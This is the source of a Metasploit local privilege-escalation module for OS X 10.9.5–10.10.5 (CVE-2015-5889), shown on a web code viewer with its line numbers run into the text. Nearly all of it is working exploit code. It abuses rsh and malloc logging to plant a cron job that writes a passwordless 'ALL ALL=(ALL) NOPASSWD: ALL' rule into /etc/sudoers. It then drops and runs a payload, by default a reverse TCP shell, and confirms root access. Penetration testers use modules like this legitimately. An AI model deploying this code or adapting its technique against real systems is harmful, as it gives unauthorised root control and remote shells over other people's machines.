Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/rsh_libmalloc.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(update_info(info,16'Name' => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation',17'Description' => %q{18This module writes to the sudoers file without root access by exploiting rsh and malloc log files.19Makes sudo require no password, giving access to su even if root is disabled.20Works on OS X 10.9.5 to 10.10.5 (patched on 10.11).21},22'Author' => [23'rebel', # Vulnerability discovery and PoC24'shandelman116' # Copy/paste AND translator monkey25],26'References' => [27['EDB', '38371'],28['CVE', '2015-5889']29],30'DisclosureDate' => '2015-10-01',31'License' => MSF_LICENSE,32# Want to ensure that this can be used on Python Meterpreter sessions as well33'Platform' => ['osx', 'python'],34'Arch' => [ARCH_X64, ARCH_PYTHON],35'SessionTypes' => ['shell', 'meterpreter'],36'Privileged' => true,37'Targets' => [38['Mac OS X 10.9.5-10.10.5', {}]39],40'DefaultTarget' => 0,41'DefaultOptions' => {42'PAYLOAD' => 'osx/x64/shell_reverse_tcp'43}44))4546register_options [47OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]),48OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])49]50end5152def base_dir53datastore['WritableDir'].to_s54end5556def exploit57if is_root?58fail_with Failure::BadConfig, 'Session already has root privileges'59end6061unless writable? base_dir62fail_with Failure::BadConfig, "#{base_dir} is not writable"63end6465# Check OS66os_check6768# Check if crontab file existed already so it can be restored at cleanup69if file_exist? "/etc/crontab"70@crontab_original = read_file("/etc/crontab")71else72@crontab_original = nil73end7475# Writing payload76if payload.arch.include?(ARCH_X64)77vprint_status("Writing payload to #{payload_file}.")78write_file(payload_file, payload_source)79vprint_status("Finished writing payload file.")80register_file_for_cleanup(payload_file)81elsif payload.arch.include?(ARCH_PYTHON)82vprint_status("No need to write payload. Will simply execute after exploit")83vprint_status("Payload encodeded is #{payload.encoded}")84end8586# Run exploit87sploit8889# Execute payload90print_status('Executing payload...')91if payload.arch.include?(ARCH_X64)92cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown")93elsif payload.arch.include?(ARCH_PYTHON)94cmd_exec("python -c \"#{payload.encoded}\" & disown")95end96vprint_status("Finished executing payload.")97end9899def os_check100# Get sysinfo101sysinfo = get_sysinfo102# Make sure its OS X (Darwin)103unless sysinfo["Kernel"].include? "Darwin"104print_warning("The target system does not appear to be running OS X!")105print_warning("Kernel information: #{sysinfo['Kernel']}")106return107end108# Make sure its not greater than 10.5 or less than 9.5109version = sysinfo["ProductVersion"]110minor_version = version[3...version.length].to_f111unless minor_version >= 9.5 && minor_version <= 10.5112print_warning("The target version of OS X does not appear to be compatible with the exploit!")113print_warning("Target is running OS X #{sysinfo['ProductVersion']}")114end115end116117def sploit118user = cmd_exec("whoami").chomp119vprint_status("The current effective user is #{user}. Starting the sploit")120# Get size of sudoers file121sudoer_path = "/etc/sudoers"122size = get_stat_size(sudoer_path)123124# Set up the environment and command for spawning rsh and writing to crontab file125rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")"126rb_cmd = "ruby -e '#{rb_script}'"127128# Attempt to execute129print_status("Attempting to write /etc/crontab...")130cmd_exec(rb_cmd)131vprint_status("Now to check whether the script worked...")132133# Check whether it worked134crontab = read_file("/etc/crontab")135vprint_status("Reading crontab yielded the following response: #{crontab}")136unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL"137vprint_error("Bad news... it did not write to the file.")138fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.")139end140141print_good("Succesfully wrote to crontab file!")142143# Wait for sudoers to change144new_size = get_stat_size(sudoer_path)145print_status("Waiting for sudoers file to change...")146147# Start timeout block148begin149Timeout.timeout(datastore['WaitTime']) {150while new_size <= size151Rex.sleep(1)152new_size = get_stat_size(sudoer_path)153end154}155rescue Timeout::Error156fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.")157end158print_good("Sudoers file has changed!")159160# Confirming root access161print_status("Attempting to start root shell...")162cmd_exec("sudo -s su")163user = cmd_exec("whoami")164unless user.include? "root"165fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}")166end167print_good("Success! Acquired root access!")168end169170def get_stat_size(file_path)171cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'"172response = cmd_exec(cmd)173vprint_status("Response to stat size query is #{response}")174begin175size = Integer(response)176return size177rescue ArgumentError178fail_with(Failure::UnexpectedReply, "Could not get stat size!")179end180end181182def payload_source183if payload.arch.include?(ARCH_X64)184return Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)185elsif payload.arch.include?(ARCH_PYTHON)186return payload.encoded187end188end189190def payload_file191@payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"192end193194def cleanup195vprint_status("Starting the cron restore process...")196super197# Restore crontab back to is original state198# If we don't do this, then cron will continue to append the no password rule to sudoers.199if @crontab_original.nil?200# Erase crontab file and kill cron process since it did not exist before201vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.")202rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?")203if rm_ret.chomp.to_i == 0204vprint_good("Successfully removed crontab file!")205else206print_warning("Could not remove crontab file.")207end208Rex.sleep(1)209kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?")210if kill_ret.chomp.to_i == 0211vprint_good("Succesfully killed cron!")212else213print_warning("Could not kill cron process.")214end215else216# Write back the original content of crontab217vprint_status("Restoring crontab file back to original contents. No need for it anymore.")218cmd_exec("echo '#{@crontab_original}' > /etc/crontab")219end220vprint_status("Finished the cleanup process.")221end222end223224225